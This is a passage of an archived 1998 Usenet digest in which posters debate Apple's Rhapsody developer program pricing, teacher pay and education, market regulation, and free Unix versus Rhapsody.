almost unbelivable in scope. If people were willing to put 20% of what
they spend on cars into mass transit, we'd have a much better
transportation infrastructure. But americans *love* their cars and they
hate to invest, so waste waste waste...
Indiscriminently spending money on education is bad - just like it is for
anything else. But renewed attention to public education in the form of
dollars in exchange for reform would probably go a very long way, IMO.
-Bob Cassidy
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 16:58:32 GMT
Organization: P & L Systems
Message-ID: <6h2ovo$9sp$1@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <ericb-1304982021040001@132.236.171.104>
<6gve4s$oop$40@ironhorse.plsys.co.uk> <ericb-1404981437160001@132.236.171.104>
<6h27ta$oop$52@ironhorse.plsys.co.uk> <6h2lv4$mtl@nntp02.primenet.com>
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Cc: jjens@primenet.com
In <6h2lv4$mtl@nntp02.primenet.com> John Jensen wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> : In <ericb-1404981437160001@132.236.171.104> Eric Bennett wrote:
>
> : > How long should I wait? The plan for regular developers has been
around
> : > for a long time. Rhapsody DR1 came out last September. Does it really
> : > take seven months to make an announcement?
>
> : In the case of Rhapsody, yes.
> : I think it's reasonable to expect you to wait until WWDC for further
> : announcements, given that that's what the rest of us are doing, and when
> : Apple themselves have said that announcements will be made...
>
> This is the crux, isn't it?
>
> You can either wait or start coding now.
>
Wrong. See below.
> If you want to start coding now,
> there are lots of development environments available. There are free
> downloads for MacOS tools, and Java tools, and Perl tools, and Tcl/Tk, and
> Python ...
>
> You can download all those and try them out for yourself.
>
Yes. Your point...?
> The only thing you can't try out is Rhapsody. It's a secret. If you are
> willing to pay first and sign first (NDA), you can be part of the secret
> society of Rhapsody developers.
>
But this has been the case since Rhapsody was released.
Your statements have nothing to do with the current debate -- Eric wanted to
know how long he had to wait to get an announcement from Apple about an
academic developer program.
If you wanted to start developing for Rhapsody without signing an NDA, you
could have tried Prelude to Rhapsody, OPENSTEP 4.2, or WebObjects. The only
secret part was the OS itself.
mmalc.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 10:22:58 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1504981022580001@dante.eng.uci.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <6h2e54$oop$53@ironhorse.plsys.co.uk>
In article <6h2e54$oop$53@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>In <MPG.f9e0bd4339572849898ae@news.supernews.com> Donald Brown wrote:
>
>> I know what spending money on the highways will get me (if spent well, at
>> least). I am not convinced that spending that money on education will
>> accomplish much. Not as things go along the way they are.
>>
>Hmm, there's a mantra over here that captains of industry, and in particular
>members of Parliament, should be paid large amounts of money because they
>earn it (in the case of fat cat directors) or because if you don't pay
>politician enough you don't attract a high enough calibre of person...
Same thing here. Of course politicans that we put in office now are more
egomaniacal than greedy. We have a first lady that consistently earns more
than the President. She brings home the bacon and he's the housekeeper.
Interesting turn of events...
>.. and yet the same argument seems never to be applied to teachers, who in
>some respects have the most important job in society -- training and
>educating the people who will run the country after us.
>
>The education system here is under increasing threat because so few people
>want to enter the teaching profession in part because the financial "rewards"
>simply don't make it worthwhile. Lower wages used to be offset to an extent
>by more predictable conditions of service, and social esteem, but this is no
>longer the case.
Agreed. If we would consider that every teacher could be influencing 20-30
students every year to take those critical jobs in industry, government,
and education, then putting the highest paid and most capable persons in
the role of teacher should be viewed as a good return on investment for
the country as a whole. The return on investment should be enourmous in
terms of national productivity and advancement.
>I know this is all a gross generalisation, and that there are other
>motivations than simple financial reward, but there are limits, and it seems
>that in some cases these have now been reached or broken.
I think they have, at least in certain areas. One of my professors in
college gave me some good advice: carry two majors if you can - one that
you love, one that will pay the rent. The market will dictate which you
base your career on. It's hard to enjoy things when you can't afford
housing or to feed your kids.
So I carried two majors. I got my current job from the one I didn't love.
Good advice for me.
-Bob Cassidy
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 17:58:19 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6j9t9q.23.mbkennel@lyapunov.ucsd.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <slrn6j7e55.rtr.mbkennel@lyapunov.ucsd.edu> <3533C026.45F2@CONVEX.COM>
On Tue, 14 Apr 1998 14:59:34 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
:Systems matter. Details matter, too, but I suspect that by using
:"details" you are trying to rationalize the application of situational
:ethics to what is a systematic proposition.
Yes. Systematic propositions aren't always true.
:Attempting to "second-guess"
:the marketplace results in regulatory attempts to "tweak" rather than
:enforce and adjudicate and otherwise reinforce the fundamental notions
:controlling the market. It is government's role to enforce laws and
:arbitrate disputes, *not* to make exceptions based on short-term
:circumstance.
What is the motivation behind the laws? A whole bunch of short-term
circumstances, usually. Enforcing laws also intrinsically means examining
short-term circumstances.
:Surely you're familiar with Chaos theory, or even elementary biology?
Well yes, I'm a physicist working on nonlinear dynamics.
:The ripple effects of unilateral intervention in a homeostatic system?
Homeostatic what? Who says markets are ''homeostatic''?
:Fortunately, the negative feedback responses inherent in the free-market
:system strongly favor balance, but it's clear from history that for at
:least as long as government directly intervenes in the private sector,
:the negative consequences outweigh the positive effects of the
:intervention, as proven from the fact that a *superior* balance is
:acheived shortly *after* regulatory powers are removed. Look at
:telephone and utility deregulation in the U.S., Canada, and UK.
What counts as "directly"? Feedback is feedback, and markets are just
market dynamics; they do what they do. It's not a priori axiomatic that such
feedback is always stabilizing, or that stabilizing is good, or that the net
effect of market dynamics leads to global social optima. That notion has a
long history in economic theory, but the mathematical underpinning comes
from irrelevant linear quasi-equilibrium economics (in a spurious analogy to
thermodynamics) and totally unrealistic separable "utility" functionals.
Telephone and utility deregulation are great examples, because there are all
sorts of things which are still regulated (like how "slamming" is illegal),
but regulated in a way so that the consequence of competitive market
dynamics inside the laws turn out beneficial for society as a whole.
That's the point! If it doesn't give the proper outcome we change the rules.
It is naive to believe that the structure of society and markets today isn't
the result of many conscious human choices, not something "natural".
As empirical experience has told us, often times well structured markets do
better than direct control of managerial decisions. But not always---or at
least, oftentimes rules need to be defined to channel market forces into
socially beneficial directions instead of harmful ones. It takes experience
and wisdom and appreciation for historical precedent and human nature, as well
as attention to the specific details of the kind of market.
I see 'regulation' by all sorts of people everywhere, it's what *defines*
markets.
:> :Er, no. The net effects of economists, bureaucrats, and lawmakers are
:> :regulation, restriction, and favoritism. I don't need to stretch very
:> :far to come up with compelling examples: the abuse of the Interstate
:> :Commerce clause, the Federal Tax Code, the EPA.
:>
:> I was specifically talking about electricity generation deregulation.
:> (And I also happen to live in southern california and am very pleased with
:> the net effect of the EPA on our air.)
:
:The efforts you speak of (by "economists, bureaucrats, and lawmakers")
:are purposed to *remove* regulations enacted by previous economists,
:bureaucrats, and lawmakers.
And replace them with other sorts of regulations.
:Are you asking me to take revocatory action
:as evidence of the positive effect of proaction on the part of Federal
:regulators?
No, that's not it; surely eliminating fare regulation is desirable *now*
that technology and the market structure is sufficiently mature to promote
authentic competition, but the notion that if some regulations are bad, then
the rest are too, is quite foolish. At one point , e.g. 1930's technology,
fare regulation really was probably the best decision; the alternative being
unregulated gouging of natural monopol..
:> :I'm curious: in what way did these people "create" a system which, by
:> :nature, already exists?
:>
:> "in nature"??? Surely not! It's a consequence of all sorts of social
:> norms, laws and precedent which arose from a certain culture with a certain
:> outlook, and intentionally crafted by humans to result in a desirable outcome.
:
:You're saying that a commercial relationship does *not* naturally exist
:between human beings...is that right?
Yes, in anything resembling current anglo-derived capitalism, unless you
water down "commercial relationship" into the most vague ''fuzzitudes''.
:Actually, it appears you're going farther than that: that commerce does
:not exist without rational comprehensive establishment by governmental
:authority, is that right?
That people have societies and interact and such interaction sometimes
involves obligations of materials and labor, in the most extended
definitions---yes, that sort of society is biologically natural. Anything
more? Calling it 'commerce' is a stretch.
Consider the profound mutual incomprehension over fundamental values and
notions of property, possession and work between Western settlers and
indigenous aboriginal societies. Australia had what may be as ''pure''
human settlement without outside interaction for 40,000 years.
:> :Hmmm, odd. The part about one company makes zero sense in the context of
:> :a free-market; perhaps you mean "regulated market"? Typo?
:>
:> No, I meant a "laissez faire" market where entities were not constrained by
:> any external rules besides basic property rights---it is to the mutual
:> economic benefit of electricity producers and transmitters to collude to
:> rip off the public, if they could. Even Adam Smith recognized this obvious
:> possibility.
:
:As a short-term effect of unrestricted trade, yes. Any idiot can
:recognize that a dynamic system does not enjoy perfect staticity for
:every possible continuous period; that's antithetical to the concept of
:a free market. Thus the rise and fall of particularly irresistible
:forces at some time or another is inevitable.
:
:This does not address the fact that intervention on the part of external
:forces in an attempt to correct pendulum swings and the like with a net
:positive effect is nearly impossible.
:
:> :The part about charging higher prices until increasing the price results
:> :in sufficiently fewer customers to offset higher prices is true. It's
:> :sort of self-evident in a free market, I would think.
:>
:> Whoa!! Major major misconception here:
:>
:> The existence of a demand curve is a consequence of simple microeconomics
:> and is BY NO MEANS a moral or legal justification for monopoly!
:> Likewise, its existence is not any sort of evidence of a free market.
:>
:> This is really important to understand.
:
:I don't see your point whatsoever. My statement posits the existence of
:a demand curve, period. My statement doesn't say anything whatsoever
:with regard to monopolies, nor to any moral or legal justification for
:the same.
You said "it's self evident in a free market". I guess that much is true,
that demand curves exist in free markets, but they also exist in non-free
ones, which is my point.
:> :Ah, the reference to Microsoft. I suppose a single company over a
:> :ten-year period is sufficient basis for sound economic theory.
:>
:> I wasn't thinking about Microsoft in particular, but this effect has a history
:> much longer than ten years.
:
:Twenty years? For the sake of argument? I don't see your point. Is the
:history of Microsoft's involvement in the software industry longer than
:its actual existence as a corporation? Enlighten me.
I wasn't talking about Microsoft, but the WSJ-type of hagiography of
businessmen which exploit non-free markets.
:> :Wow, this reads like a parody rather than a real argument.
:>
:> No I think it will be a real problem. In a laissez faire market it could
:> easily happen which is why there are laws preventing such annoying things.
:
:Well, I'm sorry you're annoyed. It's just that I don't envision
:government's existence being (even partly) justified by its ability to
:reduce the influence of "annoying things". Call me a "big picture" type
:of guy, I dunno.
"slamming" is both 'annoying' and fraudulent.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 13:15:20 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h2tfn$b7b$1@nnrp1.dejanews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com> <6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com> <6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com> <6h21e2$oop$48@ironhorse.plsys.co.uk> <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com>
bl003@dial.oleane.com (Benoit Leraillez) wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > I'd like to take a look at the fine print for this offer though.
> > >
> > For heaven's sake -- what fine print do you need?!
>
> I'll rephrase the sentence in two ways that only the fine print can
> decide which is the correct one:
> 1 "...Apple is reinforcing its commitment to education by offering...
> for (academic and university-related) (administrative use)..."
> 2 "...Apple is reinforcing its commitment to education by offering...
> for academic and (university-related administrative use)..."
> Now do you understand the need for fine print? I hope tha N°2 is what
> Apple meant, but it's N°1 I understood.
I think you're inventing difficulties for yourself. Read the announcement:
: "...Apple is reinforcing its commitment to education by offering
: WebObjects Enterprise Developer version (v3.5) and WebObjects
: Enterprise Unlimited Deployment to educational customers (student,
: staff, faculty) for academic and university-related administrative
: use for $99..."
See the part where it says "student"? Now, tell me: what conceivable
administrative use would a student have for this product? Clearly, none.
Clearly, reading 2 is wrong by any reasonable parsing of this statement.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 17:45:35 GMT
Organization: Cygnus Solutions
Message-ID: <6h2rnv$sek$1@cronkite.cygnus.com>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com>
<6h0u82$44d$1@ha2.rdc1.sdca.home.com> <35343A8F.FE507500@trilithon.com>
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Cc: henry@trilithon.com
In <35343A8F.FE507500@trilithon.com> Henry McGilton wrote:
> Rex Riley wrote:
>
> * In <6gvqbt$hnq@shelob.afs.com> Gregory H. Anderson wrote:
> * * Rex Riley writes
> * * * ITS AN INVESTMENT, etc, etc, etc . . .
>
> * * This comment is way off the mark.
>
> * Apple _is_ fighting for its Corporate Life. Rhapsody is
> * targeted at the "Professional" and "Corporate" user.
> * Advocating an "Investment" attitude seems a healthy,
> * responsible attitude.
>
> For once I'll straddle the fence (ouch!) on this issue. I'll
> simply present a couple of scenarios and let people draw their
> own conclusions (which I'm sure they will). I agree with Rex
> about investment --- I believe the greatest investment one makes
> in life is investment in oneseself. I also agree with Malcolm
> when he states that if another $250 will make or break you,
> you don't have a viable business anyway.
>
> But, I also lean heavily in agreement with Greg over the
> "Business Snob" attitude. We've already encountered the
> "Business Snob" attitude from Next a few years back where they
> wouldn't take your money if you weren't in their "target market
> segment".
>
I have to say I agree with you on both counts. Apple can't afford to give
away services that cost them money. On the otherhand, they need to be doing
things to _GATHER_ new developers and encourage people to see exposure to the
Yellow Box. I thought their free membership to former NeXT developers was a
_GREAT_ starting place. And when they extended our memberships for free
until they figured out what they were going to do, I thought that was even
better. This was a great attitude.
For the most part I don't have much of a problem with the new plan. $200 for
a subscription to the CD's isn't that bad, esp. if the kits are free on the
web. If you're someone who needs support and pre-release seedings, you can
hardly call yourself a hobbyist. Beta releases are NOT the domain of Hobby
developers. Those are for people that want or need a _product_ to be
released on day 1 of the customer release (or that Apple wants to do the
same). If you're developing hobby software, you have no need to ship on any
date.. it's a hobby, and hobbies don't suffer from delayed releases. So, you
can certainly wait to develop/port your hobby project until after the first
customer release.
Similarly, if your project (whether a commercial product or a internal-only
mission critical app) is something that needs to be _supported_, you can
hardly call that a hobby either. It would be nice if Apple had a policy of
addressing bug reports from all developers, commercial or not, no matter what
level of membership they have signed up for..and I hope they do have such a
policey. But the only people who need timely, mission critical type,
support, bug fixes, and patches are those doing projects which can justify
the expense of developer support. A Hobby can wait for a bug fix until the
next patches become available -- it's not like you're losing money over it
(if you're making basic, bottom-line, income on the package, you can't really
call that a hobby, can you? Surplus income, the kind of income you assocaite
with Hobbies that make money, isn't a "loss" when you aren't getting it).
Pick how critical your support is, and buy the level of membership that goes
with it.
(now, the longer Apple takes to address bugs reported by hobby developers
will affect their relationships with those people, and could cause hobby
developers to stray.. that's something Apple needs to consider and take
seriously. But for hobby developers to demand mission critical support is
just plain silly.)
While I don't have problems with that, I'm not sure it's the best way to
present themselves. I think they could do a lot better saying "We'll give
you the finished software packages/kits for free on the web, or if you need
that exact software from us on CD we'll sell you a CD (and/or a subscription
-- $200/12 is less than $20/month.. which is less than $20 per CD if they
ship them once a month, which I think they have been while I've been a
member.. that's not too bad.. but they could also make it an individual CD
order instead of a subscription, so you could only buy the CD's that actually
have things you want)." And make the support issues somewhat seperate,
somewhat like (here I go tooting our horn again) the way Cygnus does it..
"Buy our Support service, we'll give you our customized and supported
distribution of our developer tools and a support contract for them."
And you know.. asside from some specifics (what it takes to get the
Metroworks coupons, etc).. that's not really a whole lot different in
substance from what they've said. It's just different in how they've
presented it (and they need to make it more clear what the future of the
online SDK downloads will be for Rhapsody -- will I be able to download the
equivelant of the old Nextstep Developer Kit pkg's for free off of the web?
Will I be able to buy the CD's that have those cheaply without support (in or
out of a subscription)?).
I think if they make the Rhapsody equivelant of those pkg's free and
unsupported online, cheap and unsupported on CD, and then offer support
contracts that include the CD's for free (and word it that way), they'll
recieve a better reaction... and not really have changed much from what they
just announced.
(as for the hardware discount.. go look at what other companies require you
to spend to get cheap hardware bundles.. You can get low end Sparcstations
cheap if you order 3 or 4 at a time.. the money you're spending to do that is
probably not a lot different from joining Apple's high-end developer program
and buying the machines cheap individually.. the difference is that Apple
makes you pay once upfront and gives you a low price for every machine you
buy no matter how few, and Sun makes you buy machines in bundles and bases
your discount on how many you buy. I prefer Apple's way... your milage may
vary)
My only gripes are why doesn't Apple make a deal with Cygnus instead of
Metrowerks, and make the software 'freeware' (in the Gnu sense, not the money
sense)... but that's just my personal biases :-)
John
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <35345D0D.4E834B73@nstar.net>
In-Reply-To: <35345D0D.4E834B73@nstar.net>
From: not@my.address.net
Message-ID: <Rc1Z.14$p5.184704@news.itd.umich.edu>
Date: Wed, 15 Apr 1998 11:53:21 GMT
NNTP-Posting-Date: Wed, 15 Apr 1998 07:53:21 EDT
On 04/14/98, "Michael J. Peck" wrote:
... not in reference to myself ...
>you and I sit on
>opposite ends of the political spectrum, irreconcilably so. Let me
>explain briefly: I believe in free-markets, you believe in socialism.
>
The two have nothing in principle to do with one another. You could have
unregulated free markets with steep and progressive taxes and large scale
income redistribution. Or you could have highly regulated markets with a
low flat tax and almost zero income redistribution.
Stick to the point. The argument being made for intervention is limited to
those industries which display a peculiar feature -- per unit costs of
production diminish as market share increases even as that share approaches
the size of the market itself. That argument does not rest on the premise
that (i) everyone needs the product; or that (ii) the government should
help every firm in difficulty succeed; or that (iii) the government should
redistribute wealth so as to eliminate or reduce differences between its
citizens; or even that (iv) some company has competed unfairly.
Best,
--
invert: umich.edu jdevlin
insert: shift "2"
Date: Wed, 15 Apr 1998 14:37:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1504981437210001@wil66.dol.net>
References: <6h0f73$5cq$1@news.digifix.com> <B1598BBB-5DA39@206.165.43.216>
In article <B1598BBB-5DA39@206.165.43.216>, "Lawson English"
<english@primenet.com> wrote:
> Scott Anguish <sanguish@digifix.com> said:
>
> > Yet he managed to continue it, make money, and build it into a
> > defacto standard on the Mac.
> >
> > All with the seeds... probably without any apple support..
> >
> > Great argument for hobbists doing it for themselves.
>
>
>
> Are you suggesting that it would have been tougher on Mr. Lau (SP?) if he
> HAD had support in the form of the latest beta seeds?
Nice straw man. No one ever suggested that.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 13:32:24 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h2ct8$88a$2@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3533C875.52A9@convex.com>
<6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net>
<6h2os9$t1h$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6h2os9$t1h$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Well.. I think that a large reason for the resurgence of Unix _is_
> related to the free aspect
Exactly why I asked. However even that is a bit of an issue...
a) does free in this case mean "less than cheap"?
b) does free in this case mean "that'll teach MS"?
I think that the definition in general use can have effects both ways for
Rhapsody. For instance if it is indeed a (and I think in many cases it is)
then Rhapsody will not offer a lot to these users. If it's b on the other
hand, I think it could either offer a massive amount of support because it's
a viable "first user" OS for most users, or it could be seen as "just another
big gun, this time from laughable Apple".
> in-house mail servers, firewalls, etc. Now, Rhapsody will probably make
> a decent server, but will it be good enough to offset the freeness of
> the other Unixes?
I think that as a Unix, no. In fact it appears very likely that Linux will
have a few very definite advantages over Rhapsody at the later's point of
release (but for instance, Free-BSD won't). However I believe the ability to
run real productivity apps and games offsets that side completely - OUTSIDE
the server/web/etc. world.
Inside that world I don't see it having much of an effect - outside
existing and possible MS marketplaces that is. I think just as there are IS
shops that would reject anything Apple on it, there's likely a similar that
would reject non-commercial OS's.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 11:41:23 GMT
Organization: P & L Systems
Message-ID: <6h26d3$oop$50@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr>
<joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104>
<6gqlb4$oop$26@ironhorse.plsys.co.uk> <ericb-1304982030210001@132.236.171.104>
<6gvkir$oop$41@ironhorse.plsys.co.uk> <ericb-1404981454340001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ericb@pobox.com
In <ericb-1404981454340001@132.236.171.104> Eric Bennett wrote:
> In article <6gvkir$oop$41@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > You said you couldn't learn about Rhapsody programming without joining
the
> > program. I pointed out you could. You have a choice. How serious are
you
> > about getting started?
>
> I would rather fork over the $500 for the developer program than $250 for
> OpenStep and $1500 for a new computer.
>
> Some people (students) do not have that money to spend, regardless of how
> serious they are.
>
As you should now be aware, students should not feature in this debate since
the entry cost for academics should be considerably less than $500.
mmalc.
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Wed, 15 Apr 1998 11:42:52 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-1504981142520001@oranoco.discoverysoft.com>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk>
In article <ant1411451cbLJLo@om107.acorn.co.uk>, Dave Griffiths
<dgriffit@acorn.co.uk> wrote:
>If it wasn't for us Europeans you lot would still be living in wigwams
>and hunting buffalo with bows and arrows!
What, are you expecting thanks?!? Better buffalo with bows and arrows than
memory leaks with Macsbug! ;-)
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: mimbar98@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 13:40:12 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h2uuc$d8n$1@nnrp1.dejanews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <6h2e54$oop$53@ironhorse.plsys.co.uk>
In article <6h2e54$oop$53@ironhorse.plsys.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> In <MPG.f9e0bd4339572849898ae@news.supernews.com> Donald Brown wrote:
>
> > I know what spending money on the highways will get me (if spent well, at
> > least). I am not convinced that spending that money on education will
> > accomplish much. Not as things go along the way they are.
> >
> Hmm, there's a mantra over here that captains of industry, and in
particular
> members of Parliament, should be paid large amounts of money because they
> earn it (in the case of fat cat directors) or because if you don't pay
> politician enough you don't attract a high enough calibre of person...
>
> .. and yet the same argument seems never to be applied to teachers, who in
> some respects have the most important job in society -- training and
> educating the people who will run the country after us.
>
> The education system here is under increasing threat because so few people
> want to enter the teaching profession in part because the financial
"rewards"
> simply don't make it worthwhile. Lower wages used to be offset to an
extent
> by more predictable conditions of service, and social esteem, but this is
no
> longer the case.
>
> I *thought* I'd heard of a scheme in Georgia whereby teachers' salaries
were
> raised significantly across the board to about the average level for
> "equivalent" positions in industry, and it was found that levels of
academic
> achievement increased significantly as better teachers took up positions...?
>
> I know this is all a gross generalisation, and that there are other
> motivations than simple financial reward, but there are limits, and it
seems
> that in some cases these have now been reached or broken.
>
> Best wishes,
>
> mmalc.
>
>
The problem with teachers in the US isn't that they're not attracting enough
people. On the contrary, the supply of teachers is very high which is why
they aren't paid as highly as they could be. Bear in midn they only work 8
months (when you subtract the considerable holidays) a year so if a teacher
is making $40k, that's a lot per hour.
The real problem is that getting a teaching degree is too easy. In the US,
the secondary ed. classes are a joke not to mention what elementary ed.
classes are. If they simply made those classes tougher, fewer people would
get through and they would be able to command higher salaries. Too many
teachers are simply not particularly intelligent and the ever powerful
teacher unions make it tough to rid the world of incompotent teachers.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 11:51:45 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-1504981151450001@oranoco.discoverysoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com> <352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk>
In article <6gqmki$oop$31@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>So what's wrong with the Developer Mailing?
>
> http://developer.apple.com/programs/mailing.html
>
>At $200 it seems to give you exactly what you want, and is $50 *cheaper* than
>the previous program...
I believe that the previous program (can't remember the name) that was
equivalent to this $200 program was discontinued in October. I think it
cost $149.
So Apple has raised the price of that, too.
Not that a $50 increase is unreasonable. I think $50 is quite reasonable.
But it is most definately not cheaper than it used to be.
I could be wrong on this point...
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 19:04:09 GMT
Message-ID: <01bd68a0$e46dd060$33f0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com> <6gloaj$oop$15@ironhorse.plsys.co.uk> <steve-1304981325100001@oranoco.discoverysoft.com> <6gvkqu$oop$42@ironhorse.plsys.co.uk> <steve-1404981155220001@oranoco.discoverysoft.com> <6h2cpk$iu6$1@nnrp1.dejanews.com>
> Fine. I'll buy your scenarios. But now think about them: they involve a
> developer of a shareware product, who is (one hopes) making money from
that
> product. It's a business. There are costs to being in business. You
couldn't
> do it, for example, without a computer. But no-one is suggesting Apple
give
> computers away.
Doing so would cost apple thousands of dollars PER developer
You couldn't do it without electric power to operate the
> computer. But no-one is suggesting Apple reimburse developers for their
